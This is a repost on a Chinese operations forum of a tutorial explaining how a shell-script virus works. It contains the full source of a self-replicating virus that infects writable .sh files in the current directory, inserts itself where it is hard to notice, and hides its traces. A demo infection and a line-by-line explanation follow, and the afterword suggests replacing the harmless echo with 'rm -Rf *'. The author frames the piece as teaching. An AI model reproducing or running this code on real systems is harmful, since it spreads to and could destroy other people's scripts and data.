设为首页 收藏本站
查看: 1194|回复: 0

SHELL病毒简介

[复制链接]

尚未签到

发表于 2015-10-26 10:45:16 | 显示全部楼层 |阅读模式
SHELL病毒简介
  
Author: watercloud
Email: watercloud@xfocus.org
Homepage:http://watercloud_at_xfocus.org

  
  SHELL病毒简介
  1. 前言
  
说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下
这么一个小脚本,功能就是感染其他shell程序。
  这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以
算教学意义大于实际意义吧。
  
2. 程序代码
  
#!/bin/sh
#文件名: virus_demo.sh
#用途 : shell病毒演示。
#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写 : watercloud@xfocus.org
#日期 : 2003-5-13
  #B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '<+!a%C&t:>' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},/$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
  echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF
  看shell是多么得强大,这么短短得程序就能感染其他程序文件。
  
3. 演示
  
测试一下:
  先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
  来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
  ls -l
  #EOF
  好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !
  来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
  #B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '<+!a%C&t:>' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},/$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
  echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
  ls -l
  #EOF
  看,病毒体:
#B:<+!a%C&t:>
. . . .
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,
你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。
  
来执行看看我们新的病毒体看看:
  [cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
  
  4. 简单讲解
  
我们来一步步分析一下这个病毒:
  
#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用
  vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。
  for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。
  if [ ! -w $f -a ! -r $vFile ]; then continue; fi
目标是否有写权限,病毒源文件是否有读权限。
  if grep '<+!a%C&t:>' $f ; then continue; fi
目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?
  if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目标shell是以csh的那语法上差异太大了,放弃吧。
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。
  vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体
插入点。
  sed -n "1,${vNo}p" $vTmp >$f
一个sed命令把目标文件的开始注释部分从备份文件中copy回来。
  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
再来一个sed完成搬运病毒体的工作。
  vNo=`expr $vNo + 1`
sed -n "${vNo},/$p" $vTmp >>$f
最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!
  rm -f $vTmp
清理一下临时文件
  done >/dev/null 2>&1
循环结束
  unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。
  
echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。
  #E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用
  
  
5. 后记
  从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒
破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面
也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得
花多少功夫。
  上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上
应该也行。
  顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是
教写病毒出去害人,切记切记!
  
#EOF
#GAME OVER
echo "望斧正!"
  

             版权声明:本文为博主原创文章,未经博主允许不得转载。

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-130885-1-1.html 上篇帖子: Linux Shell的通配符与正则表达式 下篇帖子: shell脚本学习
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表